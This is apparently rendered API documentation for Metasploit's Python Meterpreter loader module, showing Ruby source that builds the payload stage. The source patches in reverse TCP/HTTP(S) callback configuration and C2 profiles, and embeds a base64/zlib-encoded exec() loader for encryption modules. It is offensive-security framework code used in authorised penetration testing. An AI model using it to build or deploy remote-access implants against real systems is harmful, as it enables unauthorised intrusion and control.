Module: Msf::Payload::Python::MeterpreterLoader
- Includes:
- Msf::Payload::Python, TransportConfig, UUID::Options, Sessions::MeterpreterOptions::Python
- Defined in:
- lib/msf/core/payload/python/meterpreter_loader.rb
Overview
Common module stub for ARCH_PYTHON payloads that make use of Meterpreter.
Constant Summary collapse
- ForceDynamicCachedSize =
Mark the payload as dynamic, as random uuid values lead to differing zlib compressed payloads
true
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITPH, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Instance Method Summary collapse
- #generate_config(opts = {}) ⇒ Object
- #initialize(info = {}) ⇒ Object
- #python_aes_source ⇒ Object
- #python_encryptor_loader ⇒ Object
- #python_rsa_source ⇒ Object
-
#stage_meterpreter(opts = {}) ⇒ Object
Get the raw Python Meterpreter stage and patch in values based on the configuration.
- #stage_payload(opts = {}) ⇒ Object
Methods included from TransportConfig
#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components
Methods included from UUID::Options
#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_cookie_resource, #process_query_string_resource, #process_uri_resource, #process_uuid_string, #uri_checksum_lookup
Methods included from Msf::Payload::Python
create_exec_stub, #py_create_exec_stub, #py_ssl_wrap_socket, ssl_wrap_socket_stub
Instance Method Details
#generate_config(opts = {}) ⇒ Object
52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 52 def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') # Pass the malleable C2 profile through to the transport config so # that staged HTTP(S) meterpreter sessions honour the profile after # the stage is delivered. The option is only registered by HTTP(S) # stagers, so it's nil (and ignored) for other transports. opts[:c2_profile] ||= ds['MALLEABLEC2'] if .include?('MALLEABLEC2') if opts[:c2_profile] opts[:stageless] = true end unless opts[:transport_config] scheme = opts[:scheme] || 'tcp' if scheme == 'https' opts[:transport_config] = [transport_config_reverse_https(opts)] elsif scheme == 'http' opts[:transport_config] = [transport_config_reverse_http(opts)] else opts[:transport_config] = [transport_config_reverse_tcp(opts)] end end config_opts = { ascii_str: true, null_session_guid: opts[:stageless] == true, expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], extensions: opts[:extensions] || [], ext_format: 'py', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) config = Rex::Payloads::Meterpreter::Config.new(config_opts) config.to_b end |
#initialize(info = {}) ⇒ Object
21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 21 def initialize(info = {}) super(update_info(info, 'Name' => 'Meterpreter & Configuration', 'Description' => 'Run Meterpreter & the configuration stub', 'Author' => [ 'Spencer McIntyre' ], 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Stager' => {'Payload' => ""} )) ( [ OptBool.new( 'MeterpreterTryToFork', 'Fork a new process if the functionality is available', default: true ), OptBool.new( 'MeterpreterDebugBuild', 'Enable debugging for the Python meterpreter', aliases: ['PythonMeterpreterDebug'] ) ] + Msf::Opt:: ) end |
#python_aes_source ⇒ Object
159 160 161 |
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 159 def python_aes_source File.read(File.join(Msf::Config.data_directory, 'meterpreter', 'python', 'met_aes.py')) end |
#python_encryptor_loader ⇒ Object
127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 |
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 127 def python_encryptor_loader aes_encryptor = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_aes_source)) rsa_encryptor = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_rsa_source)) %Q? import codecs,base64,zlib try: from importlib.util import spec_from_loader def new_module(name): return spec_from_loader(name, loader=None) except ImportError: import imp new_module = imp.new_module met_aes = new_module('met_aes') met_rsa = new_module('met_rsa') exec(compile(zlib.decompress(base64.b64decode(codecs.getencoder('utf-8')('#{aes_encryptor}')[0])),'met_aes','exec'), met_aes.__dict__) exec(compile(zlib.decompress(base64.b64decode(codecs.getencoder('utf-8')('#{rsa_encryptor}')[0])),'met_rsa','exec'), met_rsa.__dict__) sys.modules['met_aes'] = met_aes sys.modules['met_rsa'] = met_rsa import met_rsa, met_aes def met_rsa_encrypt(der, msg): return met_rsa.rsa_enc(der, msg) def met_aes_encrypt(key, iv, pt): return met_aes.AESCBC(key).encrypt(iv, pt) def met_aes_decrypt(key, iv, pt): return met_aes.AESCBC(key).decrypt(iv, pt) ? end |
#python_rsa_source ⇒ Object
155 156 157 |
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 155 def python_rsa_source File.read(File.join(Msf::Config.data_directory, 'meterpreter', 'python', 'met_rsa.py')) end |
#stage_meterpreter(opts = {}) ⇒ Object
Get the raw Python Meterpreter stage and patch in values based on the configuration
92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 |
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 92 def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') unless ds['MeterpreterTryToFork'] met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False') end met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader) # Build the URI from the callback URL if present unless opts[:url].to_s == '' opts[:scheme] ||= opts[:url].to_s.split(':')[0] uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" opts[:uri] = "#{luri}#{uri}" end # Generate the TLV config block containing all transport configuration config_block = Rex::Text.encode_base64(generate_config(opts)) met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? offset_string = "" /(?<offset_string>\s+)# PATCH-SETUP-STAGELESS-TCP-SOCKET #/ =~ met socket_setup = opts[:stageless_tcp_socket_setup] socket_setup = socket_setup.split("\n") socket_setup.map! {|line| "#{offset_string}#{line}\n"} socket_setup = socket_setup.join met.sub!("#{offset_string}# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup) end met end |